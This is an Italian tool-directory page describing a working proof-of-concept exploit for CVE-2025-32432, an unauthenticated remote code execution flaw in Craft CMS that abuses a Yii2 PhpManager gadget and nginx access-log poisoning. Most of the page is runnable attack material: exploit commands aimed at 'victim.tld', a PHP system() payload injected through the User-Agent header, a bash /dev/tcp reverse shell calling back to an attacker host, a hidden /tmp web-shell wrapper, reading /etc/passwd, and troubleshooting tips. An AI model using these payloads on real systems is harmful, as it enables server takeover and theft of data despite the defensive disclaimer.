Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-32432 — PoC funzionante per CVE-2025-32432 - Craft CMS <= 5.6.16 RCE non autenticata tramite gadget Yii2 PhpManager + avvelenamento del log di accesso di nginx | Kitploit
Strumenti/GitHubGitHub/cd-ratel/cve-2025-32432
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubcd-ratel/cve-2025-32432

CVE-2025-32432

PoC funzionante per CVE-2025-32432 - Craft CMS <= 5.6.16 RCE non autenticata tramite gadget Yii2 PhpManager + avvelenamento del log di accesso di nginx

Vedi Repository
23 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

CVE-2025-32432 - PoC per RCE non autenticata in Craft CMS

Proof-of-concept funzionante per CVE-2025-32432, una vulnerabilità di esecuzione remota di codice non autenticata in Craft CMS versioni fino a 5.6.16 incluse (interessa anche gli alberi 4.x e 3.x su percorsi di codice equivalenti).

Parole chiave di ricerca: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit, Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior, nginx log poisoning Craft, unauth RCE craftcms 2025.


TL;DR

root@kitploit:~
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'

La modalità predefinita ha come target installazioni vanilla di Craft CMS. È incluso un flag --lab per la sfida carangueijada-20 del progetto hacklab-platform, che protegge Craft con un cookie di sessione personalizzato.


Vulnerabilità

Componente interessato: craft\controllers\AssetsController::actionGenerateTransform.

L'azione è registrata come allowAnonymous, quindi non è richiesta autenticazione. Accetta un parametro POST handle che viene poi spalmato in una chiamata Craft::createObject():

root@kitploit:~
$transform = Craft::createObject([
    'class' => ImageTransform::class,
    ...$handle,
]);

Quando $handle è un array associativo sotto il controllo dell'attaccante, lo spread inietta chiavi arbitrarie nella configurazione del costruttore. In particolare, una chiave che inizia con as viene interpretata da yii\base\Component::__set come un attaccamento di comportamento, che chiama Yii::createObject($config) sul valore prima di qualsiasi controllo di tipo:

root@kitploit:~
elseif (strncmp($name, 'as ', 3) === 0) {
    $name = trim(substr($name, 3));
    $this->attachBehavior(
        $name,
        $value instanceof Behavior ? $value : Yii::createObject($value),
    );
    return;
}

La correzione di Yii2 nella 2.0.50 ha aggiunto il controllo is_subclass_of($value['class'], Behavior::class) che protegge questo ramo; le installazioni vulnerabili (Yii2 <= 2.0.49, o controllo corretto in precedenza rimosso) saltano del tutto il controllo.

Gadget: yii\rbac\PhpManager

PhpManager è una classe stock di Yii2. Il suo init() chiama load(), che chiama loadFromFile($this->itemFile). loadFromFile è letteralmente:

root@kitploit:~
protected function loadFromFile($file)
{
    if (is_file($file)) {
        return require $file;
    }
    return [];
}

require interpreta qualsiasi file su disco come PHP. Se il file contiene un blocco <?php ... ?>, quel blocco viene eseguito nel worker. Puntando itemFile a un file il cui contenuto è controllato dall'attaccante, si ottiene l'RCE completa.

Sink: access.log di nginx

Il sink affidabile tra installazioni è il file access.log di nginx in formato combinato. Registra l'User-Agent della richiesta letteralmente, inclusi caratteri non stampabili e gran parte della punteggiatura. Inviando una richiesta il cui User-Agent è <?php system('id'); exit; ?>, l'attaccante pianta un blocco PHP in un percorso noto. Puntando itemFile a /var/log/nginx/access.log, il require interpreta il log, eseguendo ogni blocco <?php ... ?> in ordine.

Due sottigliezze importanti:

  1. Niente doppi apici nel payload. nginx sfugge " come \x22 nel formato combinato, il che rompe l'analisi PHP della riga. Usa apici singoli o concatenazione chr().
  2. exit; alla fine in modo che require si interrompa prima di analizzare righe di log successive che potrebbero contenere altri payload malformati.

Versioni interessate

Componente

Craft 5.6.17 aggiunge un controllo ImageTransformerInterface sulla classe trasformatore. Yii2 2.0.50 aggiunge un controllo di sottoclasse Behavior in Component::__set. Una qualsiasi delle due correzioni chiude questa specifica catena di gadget.


Requisiti

  • Python 3.8+
  • Libreria requests (pip install -r requirements.txt)
  • Raggiungibilità di rete all'endpoint HTTP(S) target
  • Un assetId valido di Craft sul target. Valore predefinito 2; sovrascrivi con -a <id> se necessario (l'asset id 1 è di solito l'avatar dell'amministratore).

Utilizzo

Craft CMS vanilla

root@kitploit:~
python3 exploit.py -u http://victim.tld -c 'id'

Craft montato sotto un prefisso di percorso

root@kitploit:~
python3 exploit.py -u http://victim.tld -p /cms -c 'id'

Asset ID personalizzato

root@kitploit:~
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'

itemFile personalizzato (percorso log diverso, sessione FPM, ecc.)

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   -i /var/log/apache2/access.log \
                   -c 'id'

Modalità lab (sfida carangueijada-20)

Il lab carangueijada-20 del progetto hacklab-platform protegge l'installazione di Craft con un cookie coopsess emesso da PATCH /login. Il flag --lab gestisce automaticamente quella stretta di mano.

root@kitploit:~
python3 exploit.py --lab \
                   -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
                   -c 'id; uname -a'

Assicurati che www.carangueijada.coop risolva all'IP del lab (aggiungi a /etc/hosts se necessario).

Reverse shell

Il flag --revshell lancia un bash -i >& /dev/tcp/<lhost>/<lport> 0>&1 connect-back, messo in background in modo che la richiesta POST del gadget torni immediatamente.

Flusso a due terminali (il più affidabile):

root@kitploit:~
# terminale 1 - listener sulla tua macchina
nc -lvnp 4444

# terminale 2 - lancia exploit
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444

Flusso a un terminale con listener integrato:

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444 \
                   --auto-listen

--auto-listen avvia nc -lvnp <lport> nello stesso terminale prima di lanciare il payload. Ctrl+C esce quando hai finito.

Esempio di sessione (lab):

root@kitploit:~
$ python3 exploit.py --lab \
    -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
    --revshell --lhost 10.200.0.20 --lport 4444
[*] Payload reverse shell -> 10.200.0.20:4444
[!] Sulla TUA macchina esegui prima: nc -lvnp 4444
[*] Lancio tra 3s (dai tempo al listener di legarsi)...
[*] Modalità lab: PATCH /login per ottenere cookie coopsess
[*]     Cookie coopsess acquisito
[*] Verifica wrapper esistente a /tmp/.cve32432_w.php
[*] Attivazione gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*]     HTTP 200
[*] Reverse shell lanciato.

# nel listener:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$

Stabilizzazione della shell (dopo la connessione, esegui all'interno della reverse shell):

root@kitploit:~
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z per mandare nc in background
stty raw -echo; fg
# Invio due volte
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200

Come funziona l'idempotenza

Al primo avvio, l'exploit avvelena access.log una volta per rilasciare un wrapper PHP nascosto a /tmp/.cve32432_w.php. Il wrapper legge l'header HTTP X-Cmd ed esegue system($_SERVER['HTTP_X_CMD']). Ogni invio successivo punta itemFile al file wrapper e passa il comando tramite header. Niente più avvelenamento, niente più inquinamento del log, niente più fallimenti "primo blocco <?php exit; vince".

Se vuoi forzare un nuovo rilascio, elimina /tmp/.cve32432_w.php sul target (puoi farlo tramite il wrapper stesso: --cmd 'rm /tmp/.cve32432_w.php').


Output di esempio

Esecuzione riuscita contro un target fresco:

root@kitploit:~
[*] Recupero token CSRF da http://target.tld/actions/users/session-info
[*]     CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Avvelenamento access.log tramite User-Agent (lunghezza=508)
[*]     richiesta di avvelenamento -> HTTP 200
[*] Attivazione gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*]     HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux

Ripiego su log inquinato (il target è già stato sfruttato in precedenza, un payload più vecchio esce prima del tuo):

root@kitploit:~
[!] Marcatori non trovati; il log sembra inquinato da avvelenamento precedente.
[!] Passaggio all'estrazione della coda del corpo. L'output qui sotto
[!] proviene dal PRIMO blocco <?php nel log (probabilmente un vecchio payload).
--- output di ripiego (potrebbe essere obsoleto) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Come si attiva effettivamente la catena

  1. POST /actions/assets/generate-transform arriva a AssetsController::actionGenerateTransform.
  2. Il gestore costruisce $config = ['class' => ImageTransform::class, ...$handle]. Il nostro handle[as gadget] sopravvive allo spread.
  3. Craft::createObject($config) chiama Yii::$container->get(ImageTransform::class, [], $config), che istanzia ImageTransform e scrive ogni chiave di configurazione rimanente tramite $transform->{$key} = $value.
  4. Quando il parser incontra as gadget, Component::__set corrisponde al prefisso as e chiama Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log']).

Risoluzione dei problemi

Workaround per log inquinato (senza accesso admin)

Se riesci a eseguire in modo affidabile solo id (perché un vecchio avvelenamento exit; ha bloccato la catena), un pivot praticabile è far sì che quel singolo comando di tipo id scriva un wrapper PHP in un percorso che controlli, quindi cambiare itemFile su quel percorso per tutte le richieste successive:

root@kitploit:~
# avvelenamento one-shot con comando che scrive /tmp/w.php come www-data
WRAPPER='<?php system($_SERVER["HTTP_X_CMD"]);exit;?>'
B64=$(printf %s "$WRAPPER" | base64 -w0)
CMD="echo $B64|base64 -d > /tmp/w.php"
# codifica CMD come chr() ...

Poi esegui:

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   -i /tmp/w.php \
                   -c 'whoami'

Ogni invio successivo legge /tmp/w.php (un file PHP pulito senza nulla prima del nostro payload) ed esegue il comando dall'header X-Cmd. Adatta lo script se vuoi questa modalità integrata.


File

root@kitploit:~
.
├── exploit.py        # il PoC
├── README.md         # questo file
├── requirements.txt  # dipendenze Python (solo `requests`)
└── LICENSE           # MIT

Riferimenti

  • Voce della knowledge base di Craft CMS: https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
  • Advisory di sicurezza GitHub (GHSA-f3gw-9ww9-jmc3): https://github.com/craftcms/cms/security/advisories/GHSA-f3gw-9ww9-jmc3
  • Analisi della campagna in the wild di SensePost: https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-32432
  • Component.php di Yii2 (revisione vulnerabile): https://github.com/yiisoft/yii2/blob/2.0.49/framework/base/Component.php
  • Correzione Yii2 (2.0.50): https://github.com/yiisoft/yii2/pull/19938
  • Commit di Craft CMS che corregge 5.6.17: https://github.com/craftcms/cms/commit (cerca "ImageTransformerInterface" intorno al 2025-04-09)
  • Iniezione di log OWASP: https://owasp.org/www-community/attacks/Log_Injection
  • LFI-to-RCE tramite log nginx di HackTricks: https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-nginx-log

Disclaimer

Questo proof-of-concept è pubblicato esclusivamente per ricerca difensiva, uso educativo e test di penetrazione autorizzati. Eseguirlo contro sistemi di cui non si è proprietari o per i quali non si ha esplicita autorizzazione scritta è illegale nella maggior parte delle giurisdizioni. L'autore non si assume alcuna responsabilità per un uso improprio.

Se gestisci un'installazione di Craft CMS, aggiorna alla 5.6.17 o successiva (o alla corrispondente release di patch 4.x / 3.x). La vulnerabilità è banalmente sfruttabile ed è stata utilizzata in campagne reali documentate da SensePost.

Licenza

MIT. Vedi LICENSE.

Scarica lo strumento
Vulnerabile
Corretto
Craft CMS<= 5.6.165.6.17
Craft CMS<= 4.15.24.15.3
Craft CMS<= 3.9.143.9.15
Yii2<= 2.0.492.0.50
  • Yii::createObject costruisce PhpManager, esegue __construct() e poi init().
  • PhpManager::init() -> load() -> loadFromFile($this->itemFile) -> require '/var/log/nginx/access.log'.
  • PHP analizza il file di log. Il testo non-PHP viene inviato a stdout (che finisce nel corpo della risposta HTTP). I blocchi <?php ... ?> vengono eseguiti nel worker.
  • Il nostro payload piantato esegue system($cmd) e exit;. L'output appare nel corpo della risposta dove il blocco <?php era posizionato testualmente.
  • SintomoCausaSoluzione
    HTTP 400 + "could not verify your data submission" / "Pedido invalido"Token CSRF non associato al cookie usato nella POSTLo script usa un singolo requests.Session; se reimplementi, assicurati che il jar dei cookie mantenga CRAFT_CSRF_TOKEN tra session-info e la POST.
    HTTP 403 su /actions/...Prefisso percorso o vhost erratoUsa -p /prefix per corrispondere al punto in cui Craft è montato; assicurati che l'header Host corrisponda all'installazione.
    csrfTokenValue vuoto / session-info restituisce HTMLHeader Accept erratoLo script invia già Accept: application/json; se lo rimuovi, ripristinalo.
    L'output non mostra mai il tuo comandoaccess.log contiene già un payload <?php ... exit; ?> più vecchio che viene eseguito per primoRuota / tronca il log sul target. Se hai solo RCE come id, attendi il prossimo logrotate, o fai un pivot attraverso un file PHP scrivibile (es. /tmp/wrapper.php con system($_SERVER['HTTP_X_CMD']);) e usalo come itemFile in futuro.
    assetId not foundID errato per quella installazioneSfoglia URL di asset pubblici per enumerare gli ID, o prova -a 1 poi -a 3..N.
    Target correttoCraft >= 5.6.17 o Yii2 >= 2.0.50La catena è chiusa; trova un'altra classe vulnerabile o passa oltre.
    Il payload causa un errore PHP fatalVoci di log più vecchie contengono PHP malformato che rompe il parser prima del tuo bloccoStessa soluzione del log inquinato: ruota il log.